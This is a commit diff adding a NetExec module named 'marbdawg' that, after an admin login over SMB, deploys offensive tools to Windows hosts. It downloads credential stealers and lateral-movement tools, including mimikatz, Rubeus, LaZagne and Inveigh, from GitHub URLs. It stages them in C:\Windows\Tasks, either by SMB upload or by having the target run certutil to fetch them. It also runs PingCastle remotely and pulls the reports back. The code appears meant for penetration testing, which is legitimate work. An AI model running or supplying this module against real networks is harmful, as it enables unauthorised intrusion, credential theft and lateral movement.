1+ #!/usr/bin/env python3
2+ # -*- coding: utf-8 -*- # noqa: UP009
3+
4+ import os
5+ import requests
6+ from sys import exit
7+
8+ class NXCModule :
9+ """SHOW THEM WHO THE MARBDAWG IS!!!"""
10+ name = "marbdawg"
11+ description = "Deploy marbdawg power"
12+ supported_protocols = ["smb" ]
13+ opsec_safe = False
14+ multiple_hosts = True
15+
16+ def options (self , context , module_options ):
17+ """Configure module options."""
18+ self .LOCAL = module_options .get ("LOCAL" , "True" )
19+ self .MODE = module_options .get ("MODE" , "all" ).lower ()
20+ self .location = module_options .get ("DIR" , "C:\\ Windows\\ Tasks\\ " )
21+ self .overwrite = module_options .get ("OVERWRITE" , "False" ).lower ()
22+ custom_tools = module_options .get ("CUSTOM" , "" )
23+ if isinstance (custom_tools , str ):
24+ self .custom_tools = custom_tools .split ("," ) if custom_tools else []
25+ elif isinstance (custom_tools , list ):
26+ self .custom_tools = custom_tools
27+ else :
28+ self .custom_tools = []
29+
30+ if self .custom_tools and self .MODE != "custom" :
31+ context .log .fail ("CUSTOM provided but MODE is not set to 'custom'." )
32+ exit (1 )
33+
34+ def on_admin_login (self , context , connection ):
35+ """Execute the selected technique upon admin login."""
36+ self .LOCAL = self .LOCAL .lower () == "true"
37+ self .overwrite = self .overwrite == "true"
38+ if not self .location .endswith ("\\ " ):
39+ self .location += "\\ "
40+
41+ if self .LOCAL :
42+ self .handle_local_mode (context , connection )
43+ elif self .MODE == "all" :
44+ self .install_all (context , connection )
45+ elif self .MODE == "enum" :
46+ self .deploy_enum_tools (context , connection )
47+ elif self .MODE == "exploit" :
48+ self .deploy_exploit_tools (context , connection )
49+ elif self .MODE == "pingcastle" :
50+ self .deploy_pingcastle (context , connection )
51+ elif self .MODE == "custom" :
52+ self .deploy_custom_tools (context , connection , self .custom_tools )
53+ else :
54+ context .log .fail (f"Invalid MODE: { self .MODE } " )
55+
56+ def handle_local_mode (self , context , connection ):
57+ """Handles the `local` mode for downloading tools locally and serving them via SMB."""
58+ context .log .highlight ("Running in local mode..." )
59+ tools = self .get_tools_based_on_mode ()
60+ filenames = [tool .split ("/" )[- 1 ] for tool in tools ]
61+
62+ # Create local directory
63+ local_dir = "local_tools"
64+ os .makedirs (local_dir , exist_ok = True )
65+
66+ # Download tools locally
67+ context .log .highlight ("Downloading tools locally..." )
68+ for tool in tools :
69+ filename = tool .split ("/" )[- 1 ]
70+ filepath = os .path .join (local_dir , filename )
71+
72+ if os .path .exists (filepath ):
73+ context .log .highlight (f"{ filename } already exists in { local_dir } , skipping download." )
74+ continue
75+
76+ context .log .highlight (f"Downloading { tool } ..." )
77+ response = requests .get (tool )
78+ with open (filepath , "wb" ) as f :
79+ f .write (response .content )
80+ context .log .highlight (f"Saved { filename } to { local_dir } ." )
81+
82+ # Upload tools via SMB
83+ context .log .highlight ("Uploading tools via SMB..." )
84+ for filename in filenames :
85+ file_path = os .path .join (local_dir , filename )
86+ remote_path = f"{ self .location } { filename } " .replace ("/" , "\\ " )
87+
88+ # Check if the tool already exists on the target
89+ check_command = f'cmd.exe /c "if exist { remote_path } (echo { filename } already exists.) else (echo { filename } not found.)"'
90+ output = connection .execute (check_command , True )
91+ if f"{ filename } already exists." in output and not self .overwrite :
92+ context .log .highlight (f"{ filename } already exists on the target, skipping upload." )
93+ continue
94+
95+ context .log .highlight (f"Transferring { remote_path } " )
96+ try :
97+ with open (file_path , "rb" ) as file_stream :
98+ connection .conn .putFile ("C$" , remote_path .replace ("C:\\ " , "" ), file_stream .read )
99+ context .log .highlight (f"Successfully uploaded { filename } to { remote_path } on the target." )
100+ except Exception as e :
101+ context .log .fail (f"Failed to upload { filename } : { e } " )
102+
103+ # Handle PingCastle execution
104+ if self .MODE == "pingcastle" :
105+ self .execute_and_transfer_pingcastle (context , connection )
106+
107+ def execute_and_transfer_pingcastle (self , context , connection ):
108+ """Executes PingCastle and transfers HTML and XML reports to the local system."""
109+ tools = self .get_tools_based_on_mode ("pingcastle" )
110+ zip_file = tools [0 ].split ("/" )[- 1 ]
111+ exe_path = f"{ self .location } PingCastle.exe"
112+
113+ # Check if PingCastle.exe is already unzipped
114+ check_command = f'cmd.exe /c "if exist { exe_path } (echo PingCastle already exists.) else (echo PingCastle not found.)"'
115+ output = connection .execute (check_command , True )
116+ pingcastle_exists = "already exists" in output
117+
118+ if not pingcastle_exists :
119+ # Unzip PingCastle
120+ unzip_command = (
121+ f'powershell -Command "Expand-Archive -Path \' { self .location } { zip_file } \' -DestinationPath \' { self .location } \' -Force"'
122+ )
123+ context .log .debug (f"Unzipping { zip_file } ..." )
124+ output = connection .execute (unzip_command , True )
125+ if "exception" not in output .lower ():
126+ context .log .debug (f"Successfully unzipped { zip_file } ." )
127+ else :
128+ context .log .fail (f"Failed to unzip { zip_file } . Output: { output } " )
129+
130+ # Run PingCastle
131+ context .log .highlight (f"Running PingCastle from { exe_path } ..." )
132+ run_command = f"cmd.exe /c { exe_path } --healthcheck"
133+ try :
134+ output = connection .execute (run_command , True )
135+ context .log .highlight (output )
136+ except Exception as e :
137+ context .log .fail (f"Failed to execute PingCastle: { e } " )
138+
139+ # Transfer HTML and XML reports to local directory
140+ local_dir = "./pingcastle_reports/"
141+ os .makedirs (local_dir , exist_ok = True )
142+
143+ context .log .debug ("Listing PingCastle reports on the target..." )
144+ try :
145+ reports = connection .conn .listPath ("\\ C$" , "*" )
146+ html_reports = [report for report in reports if report ._SharedFile__shortname .endswith (".html" )]
147+ xml_reports = [report for report in reports if report ._SharedFile__shortname .endswith (".xml" )]
148+
149+ for report in html_reports + xml_reports :
150+ if report .is_directory ():
151+ continue
152+ report_filename = report ._SharedFile__shortname
153+ remote_path = f"C:\\ { report_filename } "
154+ local_path = os .path .join (local_dir , report_filename )
155+
156+ context .log .debug (f"Downloading { report_filename } to { local_dir } ..." )
157+ with open (local_path , "wb+" ) as file_stream :
158+ connection .conn .getFile ("\\ C$" , report_filename , file_stream .write )
159+
160+ context .log .display (f"Successfully transferred { report_filename } to { local_path } ." )
161+
162+ delete_command = f'cmd.exe /c "del { remote_path } "'
163+ connection .execute (delete_command , True )
164+ context .log .debug (f"Deleted { report_filename } from C:\\ " )
165+ context .log .highlight (f"You can find the reports in { local_dir } ." )
166+ except Exception as e :
167+ context .log .fail (f"Failed to transfer reports: { e } " )
168+
169+ def get_tools_based_on_mode (self , mode = None ):
170+ """Returns the list of tools based on the selected mode."""
171+ mode = mode or self .MODE
172+ tools = {
173+ "enum" : [
174+ "https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1" ,
175+ "https://github.com/peass-ng/PEASS-ng/releases/download/20241201-e3889b61/winPEASx64.exe" ,
176+ "https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/CertificateAbuse/Certify.exe" ,
177+ "https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.6/LaZagne.exe"
178+ ],
179+ "exploit" : [
180+ "https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/Rubeus.exe" ,
181+ "https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/Whisker.exe" ,
182+ "https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Scripts/PowerUp.ps1" ,
183+ "https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Scripts/Inveigh.ps1" ,
184+ "https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Scripts/Powermad.ps1" ,
185+ "https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Credentials/mimikatz.exe" ,
186+ ],
187+ "pingcastle" : [
188+ "https://github.com/vletoux/pingcastle/releases/download/3.3.0.1/PingCastle_3.3.0.1.zip"
189+ ],
190+ "all" : [],
191+ "custom" : self .custom_tools
192+ }
193+ all_tools_set = set ()
194+ all_tools_set .update (tools ["enum" ])
195+ all_tools_set .update (tools ["exploit" ])
196+ tools ["all" ] = list (all_tools_set )
197+ return tools .get (mode , ValueError (f"Invalid mode: { mode } " ))
198+
199+ def install_all (self , context , connection ):
200+ """Install all tools."""
201+ context .log .highlight ("Installing all tools..." )
202+ self .deploy_enum_tools (context , connection )
203+ self .deploy_exploit_tools (context , connection )
204+ self .deploy_pingcastle (context , connection )
205+ if self .custom_tools :
206+ self .deploy_custom_tools (context , connection , self .custom_tools )
207+
208+ def deploy_enum_tools (self , context , connection ):
209+ """Deploy enumeration tools."""
210+ context .log .highlight ("Deploying enumeration tools..." )
211+ tools = self .get_tools_based_on_mode ("enum" )
212+ self .download_tools (context , connection , tools )
213+
214+ def deploy_exploit_tools (self , context , connection ):
215+ """Deploy exploitation tools."""
216+ context .log .highlight ("Deploying exploitation tools..." )
217+ tools = self .get_tools_based_on_mode ("exploit" )
218+ self .download_tools (context , connection , tools )
219+
220+ def deploy_pingcastle (self , context , connection ):
221+ """Deploy PingCastle."""
222+ context .log .highlight ("Deploying PingCastle..." )
223+ exe_path = f"{ self .location } PingCastle.exe"
224+ check_command = f"cmd.exe /c if exist { exe_path } (echo PingCastle already exists.) else (echo PingCastle not found.)"
225+ output = connection .execute (check_command , True )
226+ pingcastle_exists = "already exists" in output
227+
228+ if not pingcastle_exists :
229+ # Step 1: Download PingCastle
230+ tools = self .get_tools_based_on_mode ("pingcastle" )
231+ self .download_tools (context , connection , tools )
232+
233+ # Step 2: Unzip PingCastle
234+ zip_file = tools [0 ].split ("/" )[- 1 ]
235+ unzip_command = (
236+ f'powershell -Command "Expand-Archive -Path \' { self .location } { zip_file } \' -DestinationPath \' { self .location } \' -Force"'
237+ )
238+ context .log .highlight (f"Unzipping { zip_file } ..." )
239+ output = connection .execute (unzip_command , True )
240+ if "exception" not in output .lower ():
241+ context .log .highlight (f"Successfully unzipped { zip_file } ." )
242+ else :
243+ context .log .fail (f"Failed to unzip { zip_file } . Output: { output } " )
244+
245+ # Step 3: Run PingCastle
246+ context .log .highlight (f"Running PingCastle from { exe_path } ..." )
247+ run_command = f"cmd.exe /c { exe_path } --healthcheck "
248+ output = connection .execute (run_command , True )
249+ context .log .highlight (output )
250+
251+ # Step 4: Transfer results to local directory
252+ local_dir = "./pingcastle_reports/"
253+ os .makedirs (local_dir , exist_ok = True )
254+
255+ context .log .highlight ("Listing PingCastle reports on the target..." )
256+ try :
257+ reports = connection .conn .listPath ("\\ C$" , f"{ self .location [3 :]} *.html" )
258+ for report in reports :
259+ if report .is_directory ():
260+ continue
261+
262+ report_filename = report .filename
263+ remote_path = f"{ self .location [3 :]} \\ { report_filename } "
264+ local_path = os .path .join (local_dir , report_filename )
265+
266+ context .log .highlight (f"Downloading { report_filename } to { local_dir } ..." )
267+ with open (local_path , "wb" ) as file_stream :
268+ connection .conn .getFile ("\\ C$" , remote_path , file_stream .write )
269+
270+ context .log .highlight (f"Successfully transferred { report_filename } to { local_path } ." )
271+
272+ delete_command = f'cmd.exe /c "del { remote_path } "'
273+ connection .execute (delete_command , True )
274+ context .log .highlight (f"Deleted { report_filename } from C:\\ " )
275+ except Exception as e :
276+ context .log .fail (f"Failed to transfer reports: { e } " )
277+
278+ def deploy_custom_tools (self , context , connection , custom_tools ):
279+ """Deploy custom tools."""
280+ context .log .highlight ("Deploying custom tools..." )
281+ for tool_url in custom_tools :
282+ try :
283+ tool_name = tool_url .split ("/" )[- 1 ]
284+ local_path = os .path .join ("./custom_tools/" , tool_name )
285+ os .makedirs (os .path .dirname (local_path ), exist_ok = True )
286+
287+ context .log .debug (f"Downloading { tool_name } from { tool_url } ..." )
288+ response = requests .get (tool_url )
289+ with open (local_path , "wb" ) as file :
290+ file .write (response .content )
291+
292+ context .log .display (f"Successfully downloaded { tool_name } to { local_path } ." )
293+ except Exception as e :
294+ context .log .fail (f"Failed to download { tool_url } : { e } " )
295+
296+ def download_tools (self , context , connection , tools ):
297+ """Helper function to download and save tools to the target system."""
298+ for tool in tools :
299+ filename = tool .split ("/" )[- 1 ]
300+ destination = f"{ self .location } { filename } "
301+ context .log .highlight (f"Downloading { tool } to { destination } ..." )
302+ command = f'cmd.exe /c certutil -urlcache -split -f "{ tool } " "{ destination } "'
303+ output = connection .execute (command , True )
304+ if "successfully" in output .lower ():
305+ context .log .highlight (f"Successfully downloaded { filename } to { destination } ." )
306+ else :
307+ context .log .fail (f"Failed to download { filename } . Output: { output } " )
0 commit comments